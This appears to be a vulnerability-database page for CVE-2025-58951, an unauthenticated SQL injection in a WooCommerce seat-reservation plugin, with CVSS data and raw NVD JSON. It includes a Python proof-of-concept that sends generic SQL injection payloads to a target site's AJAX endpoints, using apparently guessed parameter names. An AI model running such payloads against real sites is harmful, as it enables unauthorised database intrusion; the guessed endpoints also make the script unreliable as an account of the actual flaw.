Security Vulnerability Report
中文
CVE-2025-58951 CVSS 9.3 CRITICAL

CVE-2025-58951

Published: 2025-12-18 08:16:03
Last Modified: 2026-04-27 20:16:22

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in smartcms Advance Seat Reservation Management for WooCommerce scw-seat-reservation allows SQL Injection.This issue affects Advance Seat Reservation Management for WooCommerce: from n/a through <= 3.1.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Advance Seat Reservation Management for WooCommerce <= 3.1
scw-seat-reservation <= 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58951 SQL Injection PoC # Target: WordPress with scw-seat-reservation plugin <= 3.1 # Type: Unauthenticated SQL Injection import requests import sys target = input("Enter target URL: ").strip().rstrip('/') # SQL Injection payload examples payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] # Common vulnerable endpoints endpoints = [ "/wp-admin/admin-ajax.php", "/wp-content/plugins/scw-seat-reservation/includes/ajax-handler.php" ] print(f"[*] Testing CVE-2025-58951 SQL Injection on {target}") for endpoint in endpoints: url = f"{target}{endpoint}" print(f"\n[*] Testing endpoint: {endpoint}") for payload in payloads: params = { 'action': 'scw_check_availability', 'seat_id': payload, 'date': '2025-01-01' } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Payload: {payload[:30]}... | Status: {response.status_code}") # Check for SQL error indicators if 'mysql' in response.text.lower() or 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[!] Potential SQL error detected with payload: {payload}") except requests.exceptions.Timeout: print(f"[!] Timeout with payload: {payload} (possible time-based blind SQLi)") except Exception as e: print(f"[!] Error: {e}") print("\n[*] PoC testing completed. Manual verification recommended.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58951", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:03.030", "lastModified": "2026-04-27T20:16:22.443", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in smartcms Advance Seat Reservation Management for WooCommerce scw-seat-reservation allows SQL Injection.This issue affects Advance Seat Reservation Management for WooCommerce: from n/a through <= 3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/scw-seat-reservation/vulnerability/wordpress-advance-seat-reservation-management-for-woocommerce-plugin-3-1-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}